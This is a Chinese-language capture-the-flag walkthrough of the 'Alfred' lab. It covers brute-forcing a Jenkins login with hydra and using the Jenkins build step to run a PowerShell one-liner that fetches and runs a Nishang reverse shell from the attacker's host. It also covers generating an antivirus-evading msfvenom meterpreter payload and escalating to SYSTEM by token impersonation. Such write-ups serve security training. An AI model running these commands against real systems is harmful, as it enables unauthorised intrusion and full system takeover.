Offensive Pentesting之Alfred Walkthrough

前言

  • 利用Jenkins获得初始shell,然后利用Windows身份验证令牌升级特权。

    • 首先将学习如何利用一个广泛使用的自动化服务器上的常见错误配置(Jenkins自动化服务器 - 此工具可用于创建持续集成/持续开发管道,以允许开发人员在更改代码后自动部署代码),然后,我们再继续使用一种有趣的提权方法来获得完整的目标系统访问权限。

    • 由于目标是一个 Windows 应用程序,我们可以使用 Nishang 工具获得初始访问权限(在攻击机上安装:sudo apt install nishang),Nishang 存储库包含了一些有用的渗透脚本,可用于建立初始访问、枚举目标信息和权限升级等,在本文实验案例中,我们将使用Nishang存储库中的反向 shell 脚本以获取对目标机的初始访问权限。

部署

  • target machine: 10.10.251.108

  • attack machine: 10.11.61.123 (本机kali连接openVPN)

Nmap扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sT -Pn 10.10.251.108
[sudo] kali 的密码:
对不起,请重试。
[sudo] kali 的密码:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-05 10:26 EST
Nmap scan report for 10.10.251.108
Host is up (0.23s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds

可以看到有两个web服务,尝试访问:

Alt text Alt text

Jenkins登录页面密码爆破

  • 查看登录页面请求:

    Alt text Alt text

  • 使用hydra爆破:

    hydra -L name.txt -P pass.txt target_ip -s target_port http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:loginError"

     ┌──(kali㉿kali)-[~/桌面/THM/Alfred]
     └─$ hydra -L wordlist.txt -P wordlist.txt 10.10.251.108 -s 8080 http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:loginError"
     ···
     [DATA] attacking http-post-form://10.10.251.108:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:loginError
     [STATUS] 600.00 tries/min, 600 tries in 00:01h, 123304 to do in 03:26h, 16 active
     [8080][http-post-form] host: 10.10.251.108   login: admin   password: admin
     ···
    

    得到用户名和密码:admin:admin

  • 如果条件允许,可以尝试BP工具爆破,也可尝试常用弱密码admin之类

  • 登录:

    Alt text

目标Jenkins配置错误

  1. 进入Manage Jenkins(管理 Jenkins)—Script Console(脚本控制台)页面

    Alt text

  2. 在脚本控制台页面输入:println “whoami”.execute().text

    Alt text

  3. 后台执行代码

    Alt text

  4. 可以修改并使用如下payload,它将在目标机上被执行,能够将(来自于攻击机的)反向shell脚本下载到目标机上并完成脚本执行操作:

    powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

    注意这里第一个port为攻击机上开启的web服务端口,第二个port为攻击机设置的Netcat监听端口

获取shell

  • 思路:

    1. 攻击机上使用命令创建一个简易的Python HTTP服务器,这能使存放在攻击机上的反向shell脚本可以被目标机访问并下载

    2. 攻击机设置监听端口

    3. 在Jenkins后台中找到一个功能点,以便我们能够运行相关命令来下载攻击机上的反向shell脚本并执行该脚本,找到命令执行页面的具体步骤如下——先进入Jenkins后台,然后进入project选项卡(页面中间)、configure选项卡(左侧页面),定位到Build页面(选择Execute Windows batch command)以便我们执行命令,在Build界面输入命令,先点击应用并保存,再点击Build now即可。

  • 具体操作:

    1. 攻击机下载 nishang

      sudo apt install nishang

    2. 进入nishang/Shells目录(/usr/share/nishang/Shells)并开启简易http服务:

      ┌──(kali㉿kali)-[~]
      └─$ cd /usr/share/nishang/Shells                                       
      ┌──(kali㉿kali)-[/usr/share/nishang/Shells]
      └─$ ls
      Invoke-ConPtyShell.ps1  Invoke-JSRatRundll.ps1  Invoke-PoshRatHttps.ps1    Invoke-PowerShellTcpOneLineBind.ps1  Invoke-PowerShellTcp.ps1         Invoke-PowerShellUdp.ps1  Invoke-PsGcatAgent.ps1  Remove-PoshRat.ps1
      Invoke-JSRatRegsvr.ps1  Invoke-PoshRatHttp.ps1  Invoke-PowerShellIcmp.ps1  Invoke-PowerShellTcpOneLine.ps1      Invoke-PowerShellUdpOneLine.ps1  Invoke-PowerShellWmi.ps1  Invoke-PsGcat.ps1       
                  
      ┌──(kali㉿kali)-[/usr/share/nishang/Shells]
      └─$ python3 -m http.server 8000
      Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
      
    3. 攻击机监听:

      ┌──(kali㉿kali)-[/usr/share/nishang/Shells]
      └─$ nc -nlvp 1234
      listening on [any] 1234 ...
      
    4. 修改payload:

      powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.61.123:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.61.123 -Port 1234

    5. Jenkins执行命令:

      Alt text Alt text

    6. 监听端口获得反向shell:

      ┌──(kali㉿kali)-[/usr/share/nishang/Shells]
      └─$ nc -nlvp 1234
      listening on [any] 1234 ...
      connect to [10.11.61.123] from (UNKNOWN) [10.10.251.108] 49262
      Windows PowerShell running as user bruce on ALFRED
      Copyright (C) 2015 Microsoft Corporation. All rights reserved.
      
      PS C:\Program Files (x86)\Jenkins\workspace\project>whoami
      alfred\bruce
      PS C:\Program Files (x86)\Jenkins\workspace\project> cd \users\bruce
      PS C:\users\bruce> cd desktop
      PS C:\users\bruce\desktop> dir
      
      
         Directory: C:\users\bruce\desktop
      
      
      Mode                LastWriteTime     Length Name                              
      ----                -------------     ------ ----                              
      -a---        10/25/2019  11:22 PM         32 user.txt       
      

      此时可获取flag: user.txt

切换交互shell(Materpreter shell)

tips: 这里重启过目标,target ip:10.10.178.7

  • 使用msfvenom创建一个Windows meterpreter反向shell,使用以下有效载荷:

     #这个有效载荷生成一个编码的x86-64反向TCP测量有效载荷。有效载荷通常被编码,以确保它们被正确传输,并避免反病毒产品。反病毒产品可能无法识别有效载荷,不会将其标记为恶意。
    
     msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe
    
     ┌──(kali㉿kali)-[/usr/share/nishang/Shells]
     └─$ sudo msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.61.123 LPORT=4444 -f exe -o shell.exe
     [sudo] kali 的密码:
     [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
     Found 1 compatible encoders
     Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
     x86/shikata_ga_nai succeeded with size 381 (iteration=0)
     x86/shikata_ga_nai chosen with final size 381
     Payload size: 381 bytes
     Final size of exe file: 73802 bytes
     Saved as: shell.exe
       
     ┌──(kali㉿kali)-[/usr/share/nishang/Shells]
     └─$ ls              
     Invoke-ConPtyShell.ps1  Invoke-JSRatRundll.ps1  Invoke-PoshRatHttps.ps1    Invoke-PowerShellTcpOneLineBind.ps1  Invoke-PowerShellTcp.ps1         Invoke-PowerShellUdp.ps1  Invoke-PsGcatAgent.ps1  Remove-PoshRat.ps1
     Invoke-JSRatRegsvr.ps1  Invoke-PoshRatHttp.ps1  Invoke-PowerShellIcmp.ps1  Invoke-PowerShellTcpOneLine.ps1      Invoke-PowerShellUdpOneLine.ps1  Invoke-PowerShellWmi.ps1  Invoke-PsGcat.ps1       shell.exe
    
  • 使用与前一步相同的方法将生成的方向shell下载到机器上:

     powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"
    
    • 下载:

       PS C:\users\bruce\desktop> powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.61.123:8000/shell.exe','shell.exe')"
       PS C:\users\bruce\desktop> dir
      
      
          Directory: C:\users\bruce\desktop
      
      
       Mode                LastWriteTime     Length Name                              
       ----                -------------     ------ ----                              
       -a---         12/6/2023   2:42 PM      73802 shell.exe                         
       -a---        10/25/2019  11:22 PM         32 user.txt     
      
    • 下载记录:

       ┌──(kali㉿kali)-[/usr/share/nishang/Shells]
       └─$ python3 -m http.server 8000
       Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
       10.10.178.7 - - [06/Dec/2023 09:30:17] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
       10.10.178.7 - - [06/Dec/2023 09:38:20] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
       10.10.178.7 - - [06/Dec/2023 09:42:33] "GET /shell.exe HTTP/1.1" 200 -
      
  • 使用MSF的exploit/multi/handler进行相关设置:

     use exploit/multi/handler 
     set PAYLOAD windows/meterpreter/reverse_tcp 
     set LHOST your-thm-ip 
     set LPORT listening-port 
     run
    
     msf6 > use exploit/multi/handler
     [*] Using configured payload generic/shell_reverse_tcp
     msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
     PAYLOAD => windows/meterpreter/reverse_tcp
     msf6 exploit(multi/handler) > set lhost 10.11.61.123
     lhost => 10.11.61.123
     msf6 exploit(multi/handler) > set lport 4444
     lport => 4444
     msf6 exploit(multi/handler) > run
    
     [*] Started reverse TCP handler on 10.11.61.123:4444 
    
    • 反向shell启用shell.exe:
     PS C:\users\bruce\desktop> Start-Process "shell.exe"
     PS C:\users\bruce\desktop> 
    
    • MSF生成meterpreter shell:
     ···
     msf6 exploit(multi/handler) > run
    
     [*] Started reverse TCP handler on 10.11.61.123:4444 
     [*] Sending stage (175686 bytes) to 10.10.178.7
     [*] Meterpreter session 1 opened (10.11.61.123:4444 -> 10.10.178.7:49308) at 2023-12-06 10:02:12 -0500
    
     meterpreter >  shell
     Process 2396 created.
     Channel 1 created.
     Microsoft Windows [Version 6.1.7601]
     Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
    
     C:\users\bruce\desktop>whoami
     whoami
     alfred\bruce  
    

提权

  • 有了初始访问权限,接下来使用令牌模拟来获得系统访问权限。尝试使用令牌模拟来获得system访问权限(system权限是Windows系统中的最高级别权限)。Windows 可以使用令牌来确保某个账户具有执行特定操作的正确权限,当用户成功登录或通过身份验证机制时,账户令牌(tokens )就会被分配给账户,这通常由 LSASS.exe 完成(你可以将其视为一个身份验证进程)。

  • 此访问令牌包括以下信息:

    1. user SIDs(security identifier)

    2. group SIDs

    3. privileges

  • 除其他事项外,更详细的信息请参考:https://learn.microsoft.com/en-us/windows/win32/secauthz/access-tokens

  • 对于模拟令牌,有不同的级别:

    1. SecurityAnonymous:当前 用户/客户端 不能模拟另一个 用户/客户端。

    2. SecurityIdentification:当前 用户/客户端 可以获得客户端的身份和权限,但不能模拟客户端。

    3. SecurityImpersonation:当前 用户/客户端 可以在本地系统上模拟客户端的安全上下文。

    4. SecurityDelegation:当前 用户/客户端 可以在远程系统上模拟客户端的安全上下文。

    5. tips:这里的安全上下文是指一个包含用户相关安全信息的数据结构。

  • 账户所具有的权限(在账户创建时授予账户的权限或者从group处继承的权限)能够允许对应用户执行一些特定操作,以下是最常被滥用的特权:

    • SeImpersonatePrivilege
    • SeAssignPrimaryPrivilege
    • SeTcbPrivilege
    • SeBackupPrivilege
    • SeRestorePrivilege
    • SeCreateTokenPrivilege
    • SeLoadDriverPrivilege
    • SeTakeOwnershipPrivilege
    • SeDebugPrivilege

    更多权限滥用信息请参考:https://www.exploit-db.com/papers/42556

  • 具体实验步骤:

    • 首先,使用Meterpreter shell进入普通shell界面,输入相关命令以查看我们当前在目标机上的全部权限:

       meterpreter > shell
       ···
       C:\users\bruce\desktop>whoami /priv
       whoami /priv
      
       PRIVILEGES INFORMATION
       ----------------------
      
       Privilege Name                  Description                               State   
       =============================== ========================================= ========
       ···
       SeDebugPrivilege                Debug programs                            Enabled 
       SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled
       SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled 
       SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled
       SeUndockPrivilege               Remove computer from docking station      Disabled
       SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled
       SeImpersonatePrivilege          Impersonate a client after authentication Enabled 
       SeCreateGlobalPrivilege         Create global objects                     Enabled 
       ···
      
    • 可以看到目标机启用了两个关键权限(SeDebugPrivilege、SeImpersonatePrivilege),这两个权限能够让我们使用MSF中的模块来进行令牌模拟操作,我们退出之前的普通shell界面(exit即可),在Meterpreter shell界面加载MSF中的incognito模块(使用命令load incognito),如果相关命令不起作用,可以尝试更新MSF或者先使用use incognito命令。(incognito英译:隐身)

       meterpreter > load incognito
       Loading extension incognito...Success.
      
    • 模块加载完成之后 输入list_tokens -g命令检查哪些令牌可用,我们发现BUILTIN\Administrators令牌可用,所以我们可以模拟管理员令牌,模拟完成后,再运行getuid命令,可以看到此时我们的uid已经变更为SYSTEM的uid,说明模拟令牌成功。

       meterpreter > list_tokens -g
       [-] Warning: Not currently running as SYSTEM, not all tokens will be available
                   Call rev2self if primary process token is SYSTEM
      
       Delegation Tokens Available
       ========================================
       \
       BUILTIN\Administrators
       BUILTIN\IIS_IUSRS
       BUILTIN\Users
       ···
       meterpreter > impersonate_token "BUILTIN\Administrators"
       [-] Warning: Not currently running as SYSTEM, not all tokens will be available
                   Call rev2self if primary process token is SYSTEM
       [+] Delegation token available
       [+] Successfully impersonated user NT AUTHORITY\SYSTEM
      
       meterpreter > getuid
       Server username: NT AUTHORITY\SYSTEM
      
    • 即使现在拥有更高特权的令牌(token),实际上也可能没有对应的特权用户的权限(由于 Windows 处理权限的方式 - Windows会使用主令牌而不是模拟令牌来确定某个进程的权限分配情况);所以还需要迁移到具有正确权限的进程,可以选择迁移到最安全的services.exe进程。

      • 首先使用ps命令查看所有进程,找到services.exe进程的PID,然后使用migrate PID-OF-PROCESS迁移到目标进程:
       meterpreter > ps
      
       Process List
       ============
      
       PID   PPID  Name                  Arch  Session  User                          Path
       ---   ----  ----                  ----  -------  ----                          ----
       0     0     [System Process]
       4     0     System                x64   0
       396   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
       524   516   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
       572   564   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
       580   516   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
       608   564   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
       620   668   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\sppsvc.exe
       668   580   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
       676   580   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
       684   580   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
       ···
       1904  2520  shell.exe             x86   0        alfred\bruce                  C:\Users\bruce\Desktop\shell.exe
       ···
       meterpreter > migrate 668
       [*] Migrating from 1612 to 668...
       [*] Migration completed successfully
       meterpreter > getpid
       Current pid: 668
       meterpreter > pwd
       C:\Windows\system32  
      
      • 进入目标机的目录,输入命令search -f root.txt获取最终flag即可(flag路径为:C:\Windows\System32\config\root.txt)。
       meterpreter > pwd
       C:\Windows\system32
       meterpreter > search -f root.txt
       Found 1 result...
       =================
      
       Path                                 Size (bytes)  Modified (UTC)
       ----                                 ------------  --------------
       c:\Windows\System32\config\root.txt  70            2019-10-26 07:36:00 -0400
      

Reference

Alfred

Jenkins详细教程

nishang

Kali Linux 权限提升